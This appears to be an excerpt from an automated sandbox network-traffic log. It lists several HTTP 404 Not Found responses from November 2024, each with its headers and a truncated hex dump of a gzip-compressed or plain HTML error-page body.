Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Wed, 20 Nov 2024 08:23:26 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 35 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 72 e3 48 72 fe 3f 4f 41 cb 61 7b 37 d0 6a 9c 24 41 ad d4 bb b8 08 80 24 40 00 24 48 82 0e c7 04 6e 80 38 89 9b dc f0 03 f9 35 fc 64 2e 50 52 8b 62 4b d3 bd 0e ff 70 cd 44 88 a8 23 2b 2b f3 cb cc ea cc fa ed b7 df 1e ff 89 5d 32 6b 43 e1 06 41 95 c4 df 7e 7b 7c fe 33 00 ed 31 70 4d e7 db 6f 97 9f 89 5b 99 60 46 95 df bb c7 3a 6c 9e ee 98 2c ad dc b4 ba af 4e b9 7b 37 b0 9f bf 9e ee 2a b7 ab e0 9e c4 5f 06 76 60 16 a5 5b 3d d5 95 77 4f de 7d 4a c7 b4 03 f7 be 5f 5f 64 f1 15 a1 34 bb b7 fb a1 4f 17 2a 85 e9 27 e6 3f b2 82 eb f2 b0 70 cb ab 25 c8 3b ea a9 99 b8 4f 77 4d e8 b6 79 56 54 57 d3 da d0 a9 82 27 c7 6d 42 db bd bf 7c 7c 19 84 69 58 85 66 7c 5f da 66 ec 3e a1 5f bf 93 aa c2 2a 76 bf 11 08 31 90 b3 6a 30 cd ea d4 79 84 9f 3b 9f 45 59 56 a7 d8 1d f4 72 7b 11 97 5d 96 2f 7c f4 a2 b6 32 e7 34 f8 fb 65 6a ff d9 37 0f 48 e7 de 33 93 30 3e 3d 0c a8 02 6c fb 65 20 b8 71 e3 56 a1 6d 7e 19 94 66 5a de 97 6e 11 7a 7f f9 71 59 19 9e dd 87 01 4a e4 dd fb c1 38 4c dd fb c0 0d fd a0 02 c3 5f 09 8c 1c 8e 51 02 9b bc 9f 65 99 76 e4 17 fd 19 80 8a e2 ac 78 18 fc b3 77 69 ef a7 bd 8e 61 53 1c c3 91 f7 63 b9 e9 38 61 ea 3f 0c 6e fa 13 b3 f0 c3 f4 5d f7 7f 7e 67 bf 74 ed 2a cc d2 2f e0 e8 59 e5 16 37 f2 70 c2 32 8f 4d 20 0b 2b ce ec e8 ff 60 bb af 3d fe 4c 20 91 db 9d 9e 99 bc 8f 5d 0f 48 c9 ac ab ec fd 66 2f c3 c5 b3 14 7f 1c 7f 3b fb 00 45 ae 35 f0 76 d2 af 00 91 79 96 96 ee 7d 98 7a d9 cd 41 5f e5 ca 5c da db de 57 cb cb ca ac ea 12 68 c7 71 6f 16 5f 50 f3 ac fe 21 82 fc cb 1f ad 2e 5c b3 cc d2 cf d7 63 c3 eb f5 3d 24 3f 53 c1 15 67 17 99 da d5 e5 5c 5f be 6b 16 9c b7 df eb be 77 14 37 1b be 9e 16 b9 b4 0f f9 ed b1 d4 03 03 18 de 07 e2 ba 42 6b e1 e6 ae 09 74 06 dc c8 f3 cf 37 72 3d fb 57 33 5f 77 c5 26 38 45 50 ef a7 bd 8e 4d 2f ed 6d ec ea 94 b7 1c 99 9f 1c ea d7 49 dc 87 95 9b 94 37 64 be 23 09 03 38 fa c1 94 c2 f4 cd 94 27 f8 27 40 bb d6 c7 0d f5 17 1c 5b 59 55 65 c9 c3 a0 df e3 ed b0 bd bc ae b0 84 8e ae 07 af 24 f1 8e fe ad 18 7a 75 df 3b ae 9d 15 66 af bf 87 01 70 29 6e d1 3b a1 f7 1b bd 4a 1c f8 23 9a b9 d2 c6 a7 fb 3c 04 59 e3 16 57 f8 7a cf c6 83 97 d9 75 f9 f9 b0 09 fc 4c 73 6b 39 af 4c 60 d4 88 98 8c de 18 bc 62 e2 73 14 bf fa b5 8f 14 f5 0b 62 ac e3 1b dd 7c b7 b4 30 bd f8 ec 0f 7c 5e 1c 96 d5 fd 25 ac f4 80 4f dd 41 56 57 65 08 1c 42 ff f1 c6 7e af c8 57 ee 6e 9c f1 77 78 5d f5 bf 9d 16 f0 14 87 37 6c 79 71 d6 db 57 ef 19 df ef 70 d1 b4 19 87 3e 50 b2 0d 6e 08 6e f1 36 fe 46 f2 eb 8d dd bc 80 fe a3 9d 2e 01 17 c4 a8 cf 7c 58 ef 08 ee c3 c4 f4 6f d5 f8 fd 50 9f fa de cb d2 fe 96 03 02 d4 ed f9 fa 98 db be c4 47 2b 8b 9d b7 53 f4 72 bc 3e e5 8f 32 68 b3 c2 b9 b7 00 46 22 10 a3 fa 3f f7 66 1c bf 27 f0 4b a7 02 41 1d 80 7b 00 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Wed, 20 Nov 2024 08:23:28 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 34 46 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 72 e3 48 72 fe 3f 4f 41 cb 61 7b 37 d0 6a 9c 24 41 ad d4 bb b8 08 80 24 40 00 24 48 82 0e c7 04 6e 80 38 89 9b dc f0 03 f9 35 fc 64 2e 50 52 8b 62 4b d3 bd 0e ff 70 cd 44 88 a8 23 2b 2b f3 cb cc ea cc fa ed b7 df 1e ff 89 5d 32 6b 43 e1 06 41 95 c4 df 7e 7b 7c fe 33 00 ed 31 70 4d e7 db 6f 97 9f 89 5b 99 60 46 95 df bb c7 3a 6c 9e ee 98 2c ad dc b4 ba af 4e b9 7b 37 b0 9f bf 9e ee 2a b7 ab e0 9e c4 5f 06 76 60 16 a5 5b 3d d5 95 77 4f de 7d 4a c7 b4 03 f7 be 5f 5f 64 f1 15 a1 34 bb b7 fb a1 4f 17 2a 85 e9 27 e6 3f b2 82 eb f2 b0 70 cb ab 25 c8 3b ea a9 99 b8 4f 77 4d e8 b6 79 56 54 57 d3 da d0 a9 82 27 c7 6d 42 db bd bf 7c 7c 19 84 69 58 85 66 7c 5f da 66 ec 3e a1 5f bf 93 aa c2 2a 76 bf 11 08 31 90 b3 6a 30 cd ea d4 79 84 9f 3b 9f 45 59 56 a7 d8 1d f4 72 7b 11 97 5d 96 2f 7c f4 a2 b6 32 e7 34 f8 fb 65 6a ff d9 37 0f 48 e7 de 33 93 30 3e 3d 0c a8 02 6c fb 65 20 b8 71 e3 56 a1 6d 7e 19 94 66 5a de 97 6e 11 7a 7f f9 71 59 19 9e dd 87 01 4a e4 dd fb c1 38 4c dd fb c0 0d fd a0 02 c3 5f 09 8c 1c 8e 51 02 9b bc 9f 65 99 76 e4 17 fd 19 80 8a e2 ac 78 18 fc b3 77 69 ef a7 bd 8e 61 53 1c c3 91 f7 63 b9 e9 38 61 ea 3f 0c 6e fa 13 b3 f0 c3 f4 5d f7 7f 7e 67 bf 74 ed 2a cc d2 2f e0 e8 59 e5 16 37 f2 70 c2 32 8f 4d 20 0b 2b ce ec e8 ff 60 bb af 3d fe 4c 20 91 db 9d 9e 99 bc 8f 5d 0f 48 c9 ac ab ec fd 66 2f c3 c5 b3 14 7f 1c 7f 3b fb 00 45 ae 35 f0 76 d2 af 00 91 79 96 96 ee 7d 98 7a d9 cd 41 5f e5 ca 5c da db de 57 cb cb ca ac ea 12 68 c7 71 6f 16 5f 50 f3 ac fe 21 82 fc cb 1f ad 2e 5c b3 cc d2 cf d7 63 c3 eb f5 3d 24 3f 53 c1 15 67 17 99 da d5 e5 5c 5f be 6b 16 9c b7 df eb be 77 14 37 1b be 9e 16 b9 b4 0f f9 ed b1 d4 03 03 18 de 07 e2 ba 42 6b e1 e6 ae 09 74 06 dc c8 f3 cf 37 72 3d fb 57 33 5f 77 c5 26 38 45 50 ef a7 bd 8e 4d 2f ed 6d ec ea 94 b7 1c 99 9f 1c ea d7 49 dc 87 95 9b 94 37 64 be 23 09 03 38 fa c1 94 c2 f4 cd 94 27 f8 27 40 bb d6 c7 0d f5 17 1c 5b 59 55 65 c9 c3 a0 df e3 ed b0 bd bc ae b0 84 8e ae 07 af 24 f1 8e fe ad 18 7a 75 df 3b ae 9d 15 66 af bf 87 01 70 29 6e d1 3b a1 f7 1b bd 4a 1c f8 23 9a b9 d2 c6 a7 fb 3c 04 59 e3 16 57 f8 7a cf c6 83 97 d9 75 f9 f9 b0 09 fc 4c 73 6b 39 af 4c 60 d4 88 98 8c de 18 bc 62 e2 73 14 bf fa b5 8f 14 f5 0b 62 ac e3 1b dd 7c b7 b4 30 bd f8 ec 0f 7c 5e 1c 96 d5 fd 25 ac f4 80 4f dd 41 56 57 65 08 1c 42 ff f1 c6 7e af c8 57 ee 6e 9c f1 77 78 5d f5 bf 9d 16 f0 14 87 37 6c 79 71 d6 db 57 ef 19 df ef 70 d1 b4 19 87 3e 50 b2 0d 6e 08 6e f1 36 fe 46 f2 eb 8d dd bc 80 fe a3 9d 2e 01 17 c4 a8 cf 7c 58 ef 08 ee c3 c4 f4 6f d5 f8 fd 50 9f fa de cb d2 fe 96 03 02 d4 ed f9 fa 98 db be c4 47 2b 8b 9d b7 53 f4 72 bc 3e e5 8f 32 68 b3 c2 b9 b7 00 46 22 10 a3 fa 3f f7 66 1c bf 27 f0 4b a7 02 41 1d 80 7b 00 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Wed, 20 Nov 2024 08:23:31 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 35 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a eb 92 e2 4a 72 fe 7f 9e 02 b7 c3 f6 6e 68 7a 74 05 44 6f f7 ec ea 86 24 40 42 12 08 10 0e c7 09 dd 25 74 45 77 d8 f0 03 f9 35 fc 64 2e d1 dd d3 34 d3 7d 66 d6 e1 1f ae f9 d1 a8 2e 59 59 99 5f 66 d6 64 d6 6f bf fd f6 f8 4f ec 92 59 1b 0a 37 08 aa 24 fe f6 db e3 f3 9f 01 68 8f 81 6b 3a df 7e bb fc 4c dc ca 04 33 aa fc de 3d d6 61 f3 74 c7 64 69 e5 a6 d5 7d 75 ca dd bb 81 fd fc f5 74 57 b9 5d 05 f7 24 fe 32 b0 03 b3 28 dd ea a9 ae bc 7b f2 ee 53 3a a6 1d b8 f7 fd fa 22 8b af 08 a5 d9 bd dd 0f 7d ba 50 29 4c 3f 31 ff 91 15 5c 97 87 85 5b 5e 2d 41 de 51 4f cd c4 7d ba 6b 42 b7 cd b3 a2 ba 9a d6 86 4e 15 3c 39 6e 13 da ee fd e5 e3 cb 20 4c c3 2a 34 e3 fb d2 36 63 f7 09 fd fa 9d 54 15 56 b1 fb 8d 40 88 81 9c 55 83 69 56 a7 ce 23 fc dc f9 2c ca b2 3a c5 ee a0 97 db 8b b8 ec b2 7c e1 a3 17 b5 95 39 a7 c1 df 2f 53 fb cf be 79 40 3a f7 9e 99 84 f1 e9 61 40 15 60 db 2f 03 c1 8d 1b b7 0a 6d f3 cb a0 34 d3 f2 be 74 8b d0 fb cb 8f cb ca f0 ec 3e 0c 50 22 ef de 0f c6 61 ea de 07 6e e8 07 15 18 fe 4a 60 e4 70 8c 12 d8 e4 fd 2c cb b4 23 bf e8 cf 00 54 14 67 c5 c3 e0 9f bd 4b 7b 3f ed 75 0c 9b e2 18 8e bc 1f cb 4d c7 09 53 ff 61 70 d3 9f 98 85 1f a6 ef ba ff f3 3b fb a5 6b 57 61 96 7e 01 47 cf 2a b7 b8 91 87 13 96 79 6c 02 59 58 71 66 47 ff 07 db 7d ed f1 67 02 89 dc ee f4 cc e4 7d ec 7a 40 4a 66 5d 65 ef 37 7b 19 2e 9e a5 f8 e3 f8 db d9 07 28 72 ad 81 b7 93 7e 05 88 cc b3 b4 74 ef c3 d4 cb 6e 0e fa 2a 57 e6 d2 de f6 be 5a 5e 56 66 55 97 40 3b 8e 7b b3 f8 82 9a 67 f5 0f 11 e4 5f fe 68 75 e1 9a 65 96 7e be 1e 1b 5e af ef 21 f9 99 0a ae 38 bb c8 d4 ae 2e e7 fa f2 5d b3 e0 bc fd 5e f7 bd a3 b8 d9 f0 f5 b4 c8 a5 7d c8 6f 8f a5 1e 18 c0 f0 3e 10 d7 15 5a 0b 37 77 4d a0 33 e0 46 9e 7f be 91 eb d9 bf 9a f9 ba 2b 36 c1 29 82 7a 3f ed 75 6c 7a 69 6f 63 57 a7 bc e5 c8 fc e4 50 bf 4e e2 3e ac dc a4 bc 21 f3 1d 49 18 c0 d1 0f a6 14 a6 6f a6 3c c1 3f 01 da b5 3e 6e a8 bf e0 d8 ca aa 2a 4b 1e 06 fd 1e 6f 87 ed e5 75 85 25 74 74 3d 78 25 89 77 f4 6f c5 d0 ab fb de 71 ed ac 30 7b fd 3d 0c 80 4b 71 8b de 09 bd df e8 55 e2 c0 1f d1 cc 95 36 3e dd e7 21 c8 1a b7 b8 c2 d7 7b 36 1e bc cc ae cb cf 87 4d e0 67 9a 5b cb 79 65 02 a3 46 c4 64 f4 c6 e0 15 13 9f a3 f8 d5 af 7d a4 a8 5f 10 63 1d df e8 e6 bb a5 85 e9 c5 67 7f e0 f3 e2 b0 ac ee 2f 61 a5 07 7c ea 0e b2 ba 2a 43 e0 10 fa 8f 37 f6 7b 45 be 72 77 e3 8c bf c3 eb aa ff ed b4 80 a7 38 bc 61 cb 8b b3 de be 7a cf f8 7e 87 8b a6 cd 38 f4 81 92 6d 70 43 70 8b b7 f1 37 92 5f 6f ec e6 05 f4 1f ed 74 09 b8 20 46 7d e6 c3 7a 47 70 1f 26 a6 7f ab c6 ef 87 fa d4 f7 5e 96 f6 b7 1c 10 a0 6e cf d7 c7 dc f6 25 3e 5a 59 ec bc 9d a2 97 e3 f5 29 7f 94 41 9b 15 ce bd 05 30 12 81 18 d5 ff b9 37 e3 f8 3d 81 5f 3a 15 08 ea 00 dc 03 20 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkeddate: Wed, 20 Nov 2024 08:23:34 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 32 37 38 34 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, no-cache, no-store, must-revalidate, max-age=0Content-Length: 1251Content-Type: text/htmlDate: Wed, 20 Nov 2024 08:23:40 GMTPragma: no-cacheConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, no-cache, no-store, must-revalidate, max-age=0Content-Length: 1251Content-Type: text/htmlDate: Wed, 20 Nov 2024 08:23:43 GMTPragma: no-cacheConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, no-cache, no-store, must-revalidate, max-age=0Content-Length: 1251Content-Type: text/htmlDate: Wed, 20 Nov 2024 08:23:45 GMTPragma: no-cacheConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 